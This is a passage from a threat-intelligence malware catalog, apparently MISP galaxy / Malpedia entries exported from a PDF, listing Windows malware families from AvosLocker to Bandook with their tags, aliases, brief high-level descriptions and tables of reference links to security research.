https://www.uptycs.com/blog/warzonera-t-can-now-evade-with-process-hollowing
https://blog.team-cymru.com/2019/07/25/unmasking-ave_maria/
https://www.youtube.com/watch?v=G82xh9m4hc
https://securityintelligence.com/posts/roboski-global-recovery-automation/
https://gi7w0rm.medium.com/uncovering-ddggroup-a-long-time-threat-actor-d3b3020625a4
https://www.youtube.com/watch?v=81fdvmGmRvM
https://securelist.com/fin7-5-the-infamous-cybercrime-rig-fin7-continues-its-activities/90703/
https://blog.morphisec.com/syk-crypter-discord
https://securelist.com/apt-trends-report-q3-2020/99204/
https://reaqta.com/2019/04/ave_maria-malware-part1/
https://www.ciphertechsolutions.com/roboski-global-recovery-automation/
https://ti.qianxin.com/blog/articles/Kasablanka-Group-Probably-Conducted-Compaings-Targeting-Russia/
https://www.uptycs.com/blog/confucius-apt-deploys-warzone-rat
https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html
AvosLocker

AvosLocker is a ransomware-as-a-service (RaaS) gang that first appeared in mid-2021. It has since become notorious for its attacks targeting critical infrastructure in the United States, including the sectors of financial services, critical manufacturing, and government facilities.

In March 2022, the FBI and US Treasury Department issued a warning about the attacks.

The tag is: misp-galaxy:malpedia="AvosLocker"

AvosLocker is also known as:

Table 2507. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker">https://malpedia.caad.fkie.fraunhofer.de/details/win.avos_locker</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf">https://www.symantec.broadcom.com/hubfs/SED/SED_Threat_Hunter_Reports_Alerts/SED_FY22Q2_SES_Ransomware-Threat-Landscape_WP.pdf</a></td>
</tr>
<tr>
<td><a href="https://cdn.pathfactory.com/assets/10555/contents/400686/13f4424c-05b4-46db-bb9c-6bf9b5436ec4.pdf">https://cdn.pathfactory.com/assets/10555/contents/400686/13f4424c-05b4-46db-bb9c-6bf9b5436ec4.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape">https://www.advintel.io/post/discontinued-the-end-of-conti-s-brand-marks-new-chapter-for-cybercrime-landscape</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/emerging-ransomware-groups/">https://unit42.paloaltonetworks.com/emerging-ransomware-groups/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html">https://blog.talosintelligence.com/2022/06/avoslocker-new-arsenal.html</a></td>
</tr>
</tbody>
</table>
Unidentified 061 (Windows)

Was previously wrongly tagged as PoweliksDropper, now looking for additional context.

The tag is: misp-galaxy:malpedia="Unidentified 061 (Windows)"

Unidentified 061 (Windows) is also known as:

Table 2508. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.avrecon">https://malpedia.caad.fkie.fraunhofer.de/details/win.avrecon</a></td>
</tr>
</tbody>
</table>

Avzhan

The tag is: misp-galaxy:malpedia="Avzhan"

Avzhan is also known as:

Table 2509. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan">https://malpedia.caad.fkie.fraunhofer.de/details/win.avzhan</a></td>
</tr>
</tbody>
</table>

AXLocker

The tag is: misp-galaxy:malpedia="AXLocker"

AXLocker is also known as:
### Table 2510. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.axlocker">https://malpedia.caad.fkie.fraunhofer.de/details/win.axlocker</a></td>
</tr>
</tbody>
</table>

### Ayegent

The tag is: `misp-galaxy:malpedia="Ayegent”`

Ayegent is also known as:

### Table 2511. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent">https://malpedia.caad.fkie.fraunhofer.de/details/win.ayegent</a></td>
</tr>
</tbody>
</table>

### Aytoke

Keylogger.

The tag is: `misp-galaxy:malpedia="Aytoke”`

Aytoke is also known as:

### Table 2512. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.aytoke">https://malpedia.caad.fkie.fraunhofer.de/details/win.aytoke</a></td>
</tr>
<tr>
<td><a href="https://snort.org/rule_docs/1-34217">https://snort.org/rule_docs/1-34217</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=FttiysUZmDw">https://www.youtube.com/watch?v=FttiysUZmDw</a></td>
</tr>
</tbody>
</table>

### Azorult

AZORult is a credential and payment card information stealer. Among other things, version 2 added support for .bit-domains. It has been observed in conjunction with Chthonic as well as being dropped by Ramnit.

The tag is: `misp-galaxy:malpedia="Azorult”`

Azorult is also known as:

- PuffStealer
- Rultazo

### Table 2513. Table References
<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult">https://malpedia.caad.fkie.fraunhofer.de/details/win.azorult</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/">https://yoroi.company/research/aggah-how-to-run-a-botnet-without-renting-a-server-for-more-than-a-year/</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html">https://blog.talosintelligence.com/2020/06/tor2mine-is-up-to-their-old-tricks-and_11.html</a></td>
</tr>
<tr>
<td><a href="https://blog.team-cymru.com/2020/02/19/azorult-what-we-see-using-our-own-tools/">https://blog.team-cymru.com/2020/02/19/azorult-what-we-see-using-our-own-tools/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/DrStache_/status/1227662001247268864">https://twitter.com/DrStache_/status/1227662001247268864</a></td>
</tr>
<tr>
<td><a href="https://ke-la.com/information-stealers-a-new-landscape/">https://ke-la.com/information-stealers-a-new-landscape/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/diary/25120">https://isc.sans.edu/diary/25120</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=EyDiIAt">https://www.youtube.com/watch?v=EyDiIAt</a></td>
</tr>
<tr>
<td><a href="https://medium.com/s2wlab/operation-synctrek-e5013df8d167">https://medium.com/s2wlab/operation-synctrek-e5013df8d167</a></td>
</tr>
<tr>
<td><a href="https://mariohenkel.medium.com/decrypting-azorult-traffic-for-fun-and-profit-9f28d8638b05">https://mariohenkel.medium.com/decrypting-azorult-traffic-for-fun-and-profit-9f28d8638b05</a></td>
</tr>
<tr>
<td><a href="https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/">https://blog.checkpoint.com/2022/05/10/a-german-car-attack-on-german-vehicle-businesses/</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/the-emergence-of-the-new-azorult-3-3/">https://research.checkpoint.com/the-emergence-of-the-new-azorult-3-3/</a></td>
</tr>
<tr>
<td><a href="https://yoroi.company/research/apt-or-not-apt-whats-behind-the-aggah-campaign/">https://yoroi.company/research//apt-or-not-apt-whats-behind-the-aggah-campaign/</a></td>
</tr>
<tr>
<td>URL</td>
</tr>
<tr>
<td>---------------------------------------------------------------------</td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/56e28880">https://community.riskiq.com/article/56e28880</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/">https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/</a></td>
</tr>
<tr>
<td><a href="https://securityintelligence.com/posts/roboski-global-recovery-automation/">https://securityintelligence.com/posts/roboski-global-recovery-automation/</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/">https://research.checkpoint.com/2019/select-code_execution-from-using-sqlite/</a></td>
</tr>
<tr>
<td><a href="https://blog.minerva-labs.com/azorult-now-as-a-signed-google-update">https://blog.minerva-labs.com/azorult-now-as-a-signed-google-update</a></td>
</tr>
<tr>
<td><a href="https://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/">https://maxkersten.nl/binary-analysis-course/malware-analysis/azorult-loader-stages/</a></td>
</tr>
<tr>
<td><a href="https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/">https://0xc0decafe.com/malware-analyst-guide-to-pe-timestamps/</a></td>
</tr>
<tr>
<td><a href="https://community.riskiq.com/article/2a36a7d2/description">https://community.riskiq.com/article/2a36a7d2/description</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/azorult-analysis-history/89922/">https://securelist.com/azorult-analysis-history/89922/</a></td>
</tr>
<tr>
<td><a href="https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+azorult+downloader/25768/">https://isc.sans.edu/forums/diary/Analysis+of+a+tripleencrypted+azorult+downloader/25768/</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/cybersquatting/">https://unit42.paloaltonetworks.com/cybersquatting/</a></td>
</tr>
<tr>
<td><a href="https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/">https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/</a></td>
</tr>
<tr>
<td><a href="https://www.ciphertechsolutions.com/roboski-global-recovery-automation/">https://www.ciphertechsolutions.com/roboski-global-recovery-automation/</a></td>
</tr>
</tbody>
</table>
Azov Wiper

According to Checkpoint, this malware is a wiper instead of ransomware as self-announced. It is manually written in FASM, unrecoverably overwriting data in blocks of 666 bytes, using multi-threading.

The tag is: *misp-galaxy:malpedia="Azov Wiper"

Azov Wiper is also known as:

Table 2514. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.azov_wiper">https://malpedia.caad.fkie.fraunhofer.de/details/win.azov_wiper</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/CPResearch/status/1587837524604465153">https://twitter.com/CPResearch/status/1587837524604465153</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/2022/pulling-the-curtains-on-azov-ransomware-not-a-skidware-but-polymorphic-wiper/">https://research.checkpoint.com/2022/pulling-the-curtains-on-azov-ransomware-not-a-skidware-but-polymorphic-wiper/</a></td>
</tr>
<tr>
<td><a href="https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper">https://www.fortinet.com/blog/threat-research/the-year-of-the-wiper</a></td>
</tr>
</tbody>
</table>

Babadeda

According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers’ analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low
detection rate by anti-virus engines.

The tag is: `misp-galaxy:malpedia="Babadeda"`

Babadeda is also known as:

<table>
<thead>
<tr>
<th>Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda">https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda</a></td>
</tr>
<tr>
<td><a href="https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities">https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities</a></td>
</tr>
</tbody>
</table>

**Babar**

The tag is: `misp-galaxy:malpedia="Babar"`

Babar is also known as:

- SNOWBALL

<table>
<thead>
<tr>
<th>Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.babar">https://malpedia.caad.fkie.fraunhofer.de/details/win.babar</a></td>
</tr>
<tr>
<td><a href="https://drive.google.com/a/cyphort.com/file/d/0B9Mrr-en8FX4dzJqLWhDblhseTA/">https://drive.google.com/a/cyphort.com/file/d/0B9Mrr-en8FX4dzJqLWhDblhseTA/</a></td>
</tr>
<tr>
<td><a href="http://www.spiegel.de/media/media-35683.pdf">http://www.spiegel.de/media/media-35683.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope">https://www.gdatasoftware.com/blog/2015/02/24270-babar-espionage-software-finally-found-and-put-under-the-microscope</a></td>
</tr>
</tbody>
</table>

**Babuk (Windows)**

Babuk Ransomware is a sophisticated ransomware compiled for several platforms. Windows and ARM for Linux are the most used compiled versions, but ESX and a 32bit old PE executable were observed over time. as well It uses an Elliptic Curve Algorithm (Montgomery Algorithm) to build the encryption keys.

The tag is: `misp-galaxy:malpedia="Babuk (Windows)"`

Babuk (Windows) is also known as:

- Babyk
- Vasa Locker

<table>
<thead>
<tr>
<th>Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
</tbody>
</table>
**BabyLon RAT**

The tag is: *misp-galaxy:malpedia=*"BabyLon RAT"

BabyLon RAT is also known as:

<table>
<thead>
<tr>
<th>Table 2518. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.babylon_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.babylon_rat</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/KorbenD_Intel/status/1110654679980085262">https://twitter.com/KorbenD_Intel/status/1110654679980085262</a></td>
</tr>
</tbody>
</table>

**BABYMETAL**

BABYMETAL is a command line network tunnel utility based on the TinyMet Meterpreter tool, primarily used to execute Meterpreter reverse shell payloads.

The tag is: *misp-galaxy:malpedia=*"BABYMETAL"

BABYMETAL is also known as:

<table>
<thead>
<tr>
<th>Table 2519. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.babymetal">https://malpedia.caad.fkie.fraunhofer.de/details/win.babymetal</a></td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/evolution-of-fin7">https://www.mandiant.com/resources/evolution-of-fin7</a></td>
</tr>
</tbody>
</table>
**BabyShark**

BabyShark is Microsoft Visual Basic (VB) script-based malware family first seen in November 2018. The malware is launched by executing the first stage HTA from a remote location, thus it can be delivered via different file types including PE files as well as malicious documents. It exfiltrates system information to C2 server, maintains persistence on the system, and waits for further instruction from the operator.

The tag is: `misp-galaxy:malpedia="BabyShark"`

BabyShark is also known as:

- LATEOP

**Table 2520. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.babyshark">https://malpedia.caad.fkie.fraunhofer.de/details/win.babyshark</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=Dv2_DK3tRgI">https://www.youtube.com/watch?v=Dv2_DK3tRgI</a></td>
</tr>
<tr>
<td><a href="https://blog.alyac.co.kr/3352">https://blog.alyac.co.kr/3352</a></td>
</tr>
<tr>
<td><a href="https://www.huntress.com/blog/targeted-apt-activity-babyshark-is-out-for-blood">https://www.huntress.com/blog/targeted-apt-activity-babyshark-is-out-for-blood</a></td>
</tr>
<tr>
<td><a href="https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html">https://www.pwc.co.uk/issues/cyber-security-services/research/tracking-kimsuky-north-korea-based-cyber-espionage-group-part-1.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries">https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/i/web/status/1099147896950185985">https://twitter.com/i/web/status/1099147896950185985</a></td>
</tr>
<tr>
<td><a href="https://us-cert.cisa.gov/ncas/alerts/aa20-301a">https://us-cert.cisa.gov/ncas/alerts/aa20-301a</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=rfzMHjZX70s">https://www.youtube.com/watch?v=rfzMHjZX70s</a></td>
</tr>
</tbody>
</table>
Bachosens

The tag is: misp-galaxy:malpedia="Bachosens"

Bachosens is also known as:

Table 2521. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bachosens">https://malpedia.caad.fkie.fraunhofer.de/details/win.bachosens</a></td>
</tr>
<tr>
<td><a href="https://medium.com/threat-intel/cybercrime-investigation-insights-bachosens-e1d6312f6b3a">https://medium.com/threat-intel/cybercrime-investigation-insights-bachosens-e1d6312f6b3a</a></td>
</tr>
</tbody>
</table>

BACKBEND

FireEye describes BACKBEND as a secondary downloader used as a backup mechanism in the case the primary backdoor is removed. When executed, BACKBEND checks for the presence of the mutexes MicrosoftZj or MicrosoftZjBak (both associated with BACKSPACE variants). If either of the mutexes exist, the malware exits.

The tag is: misp-galaxy:malpedia="BACKBEND"

BACKBEND is also known as:

Table 2522. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.backbend">https://malpedia.caad.fkie.fraunhofer.de/details/win.backbend</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
</tbody>
</table>

BackConfig

The tag is: misp-galaxy:malpedia="BackConfig"

BackConfig is also known as:

Table 2523. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
BackNet

The tag is: misp-galaxy:malpedia="BackNet"

BackNet is also known as:

<table>
<thead>
<tr>
<th>Table 2524. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.backnet">https://malpedia.caad.fkie.fraunhofer.de/details/win.backnet</a></td>
</tr>
<tr>
<td><a href="https://github.com/valsov/BackNet">https://github.com/valsov/BackNet</a></td>
</tr>
</tbody>
</table>

Backoff POS

The tag is: misp-galaxy:malpedia="Backoff POS"

Backoff POS is also known as:

<table>
<thead>
<tr>
<th>Table 2525. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.backoff">https://malpedia.caad.fkie.fraunhofer.de/details/win.backoff</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/sinkholing-the-backoff-pos-trojan/66305/">https://securelist.com/sinkholing-the-backoff-pos-trojan/66305/</a></td>
</tr>
</tbody>
</table>

backspace

The tag is: misp-galaxy:malpedia="backspace"

backspace is also known as:

- Lecna
- ZRLnk

<table>
<thead>
<tr>
<th>Table 2526. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace">https://malpedia.caad.fkie.fraunhofer.de/details/win.backspace</a></td>
</tr>
<tr>
<td><a href="https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf">https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf</a></td>
</tr>
<tr>
<td><a href="https://www.secureworks.com/research/threat-profiles/bronze-geneva">https://www.secureworks.com/research/threat-profiles/bronze-geneva</a></td>
</tr>
</tbody>
</table>
**BackSwap**

The tag is: `misp-galaxy:malpedia="BackSwap"`

BackSwap is also known as:

*Table 2527. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.backswap">https://malpedia.caad.fkie.fraunhofer.de/details/win.backswap</a></td>
</tr>
<tr>
<td><a href="https://www.f5.com/labs/articles/threat-intelligence/backswap-defrauds-online-banking-customers-using-hidden-input-fi">https://www.f5.com/labs/articles/threat-intelligence/backswap-defrauds-online-banking-customers-using-hidden-input-fi</a></td>
</tr>
<tr>
<td><a href="https://explore.group-ib.com/htct/hi-tech_crime_2018">https://explore.group-ib.com/htct/hi-tech_crime_2018</a></td>
</tr>
<tr>
<td><a href="https://research.checkpoint.com/the-evolution-of-backswap/">https://research.checkpoint.com/the-evolution-of-backswap/</a></td>
</tr>
</tbody>
</table>

**BADCALL (Windows)**

The tag is: `misp-galaxy:malpedia="BADCALL (Windows)"`

BADCALL (Windows) is also known as:

*Table 2528. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.badcall">https://malpedia.caad.fkie.fraunhofer.de/details/win.badcall</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF">https://www.us-cert.gov/sites/default/files/publications/MAR-10135536-B_WHITE.PDF</a></td>
</tr>
<tr>
<td><a href="https://www.us-cert.gov/ncas/analysis-reports/ar19-252a">https://www.us-cert.gov/ncas/analysis-reports/ar19-252a</a></td>
</tr>
</tbody>
</table>
BadEncript

The tag is: misp-galaxy:malpedia="BadEncript"

BadEncript is also known as:

Table 2529. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.badencipt">https://malpedia.caad.fkie.fraunhofer.de/details/win.badencipt</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/PhysicalDrive0/status/833067081981710336">https://twitter.com/PhysicalDrive0/status/833067081981710336</a></td>
</tr>
</tbody>
</table>

badflick

BADFLICK, a backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration.

The tag is: misp-galaxy:malpedia="badflick"

badflick is also known as:

Table 2530. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick">https://malpedia.caad.fkie.fraunhofer.de/details/win.badflick</a></td>
</tr>
<tr>
<td><a href="https://blog.amossys.fr/badflick-is-not-so-bad.html">https://blog.amossys.fr/badflick-is-not-so-bad.html</a></td>
</tr>
</tbody>
</table>

BADHATCH

The tag is: misp-galaxy:malpedia="BADHATCH"

BADHATCH is also known as:

Table 2531. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.badhatch">https://malpedia.caad.fkie.fraunhofer.de/details/win.badhatch</a></td>
</tr>
<tr>
<td><a href="https://team-cymru.com/blog/2021/03/15/fin8-badhatch-threat-indicator-enrichment/">https://team-cymru.com/blog/2021/03/15/fin8-badhatch-threat-indicator-enrichment/</a></td>
</tr>
</tbody>
</table>
**BadNews**

The tag is: *misp-galaxy:malpedia=“BadNews”*

BadNews is also known as:

*Table 2532. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews">https://malpedia.caad.fkie.fraunhofer.de/details/win.badnews</a></td>
</tr>
<tr>
<td><a href="https://lab52.io/blog/new-patchwork-campaign-against-pakistan/">https://lab52.io/blog/new-patchwork-campaign-against-pakistan/</a></td>
</tr>
<tr>
<td><a href="https://securelist.com/apt-trends-report-q1-2021/101967/">https://securelist.com/apt-trends-report-q1-2021/101967/</a></td>
</tr>
<tr>
<td><a href="https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign">https://www.forcepoint.com/blog/x-labs/monsoon-analysis-apt-campaign</a></td>
</tr>
</tbody>
</table>

**Bagle**

The tag is: *misp-galaxy:malpedia=“Bagle”*

Bagle is also known as:

*Table 2533. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bagle">https://malpedia.caad.fkie.fraunhofer.de/details/win.bagle</a></td>
</tr>
</tbody>
</table>
Bahamut (Windows)

The tag is: misp-galaxy:malpedia="Bahamut (Windows)"

Bahamut (Windows) is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bahamut">https://malpedia.caad.fkie.fraunhofer.de/details/win.bahamut</a></td>
</tr>
</tbody>
</table>

Baldr

The tag is: misp-galaxy:malpedia="Baldr"

Baldr is also known as:

- Baldir

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.baldr">https://malpedia.caad.fkie.fraunhofer.de/details/win.baldr</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=E2V4kB_gtcQ">https://www.youtube.com/watch?v=E2V4kB_gtcQ</a></td>
</tr>
</tbody>
</table>

BalkanDoor

According to ESET, BalkanDoor is a simple backdoor with a small number of commands (download and execute a file, create a remote shell, take a screenshot). It can be used to automate tasks on the compromised computer or to automatically control several affected computers at once. We have seen six versions of the backdoor, with a range of supported commands, evolve since 2016.

The tag is: misp-galaxy:malpedia="BalkanDoor"

BalkanDoor is also known as:

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.balkanDoor">https://malpedia.caad.fkie.fraunhofer.de/details/win.balkanDoor</a></td>
</tr>
<tr>
<td><a href="https://www.youtube.com/watch?v=E2V4kB_gtcQ">https://www.youtube.com/watch?v=E2V4kB_gtcQ</a></td>
</tr>
</tbody>
</table>
BalkanRAT

The goal of BalkanRAT which is a more complex part of the malicious Balkan-toolset (cf. BalkanDoor) is to deploy and leverage legitimate commercial software for remote administration. The malware has several additional components to help load, install and conceal the existence of the remote desktop software. A single long-term campaign involving BalkanRAT has been active at least from January 2016 and targeted accounting departments of organizations in Croatia, Serbia, Montenegro, and Bosnia and Herzegovina (considered that the contents of the emails, included links and decoy PDFs all were involving taxes). It was legitimately signed and installed by an exploit of the WinRAR ACE vulnerability (CVE-2018-20250).

The tag is: misp-galaxy:malpedia="BalkanRAT"

BalkanRAT is also known as:

Table 2537. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.balkan_rat">https://malpedia.caad.fkie.fraunhofer.de/details/win.balkan_rat</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2019/08/14/balkans-businesses-double-barreled-weapon/">https://www.welivesecurity.com/2019/08/14/balkans-businesses-double-barreled-weapon/</a></td>
</tr>
</tbody>
</table>

Bamital

The tag is: misp-galaxy:malpedia="Bamital"

Bamital is also known as:

Table 2538. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bamital">https://malpedia.caad.fkie.fraunhofer.de/details/win.bamital</a></td>
</tr>
<tr>
<td><a href="https://blogs.microsoft.com/blog/2013/02/22/bamital-botnet-takedown-is-successful-cleanup-underway/">https://blogs.microsoft.com/blog/2013/02/22/bamital-botnet-takedown-is-successful-cleanup-underway/</a></td>
</tr>
</tbody>
</table>

Banatrix

The tag is: misp-galaxy:malpedia="Banatrix"

Banatrix is also known as:
**bancos**

The tag is: `misp-galaxy:malpedia="bancos"`

bancos is also known as:

<table>
<thead>
<tr>
<th>Table 2540. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bancos">https://malpedia.caad.fkie.fraunhofer.de/details/win.bancos</a></td>
</tr>
</tbody>
</table>

**Bandit Stealer**

The tag is: `misp-galaxy:malpedia="Bandit Stealer"`

Bandit Stealer is also known as:

<table>
<thead>
<tr>
<th>Table 2541. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.bandit">https://malpedia.caad.fkie.fraunhofer.de/details/win.bandit</a></td>
</tr>
<tr>
<td><a href="https://www.cloudsek.com/blog/breaking-into-the-bandit-stealer-malware-infrastructure">https://www.cloudsek.com/blog/breaking-into-the-bandit-stealer-malware-infrastructure</a></td>
</tr>
<tr>
<td><a href="https://www.zscaler.com/blogs/security-research/technical-analysis-bandit-stealer">https://www.zscaler.com/blogs/security-research/technical-analysis-bandit-stealer</a></td>
</tr>
<tr>
<td><a href="https://research.openanalysis.net/bandit/stealer/garble/go/obfuscation/2023/07/31/bandit-garble.html">https://research.openanalysis.net/bandit/stealer/garble/go/obfuscation/2023/07/31/bandit-garble.html</a></td>
</tr>
<tr>
<td><a href="https://research.openanalysis.net/garble/go/obfuscation/strings/2023/08/03/garble.html">https://research.openanalysis.net/garble/go/obfuscation/strings/2023/08/03/garble.html</a></td>
</tr>
</tbody>
</table>

**Bandook**

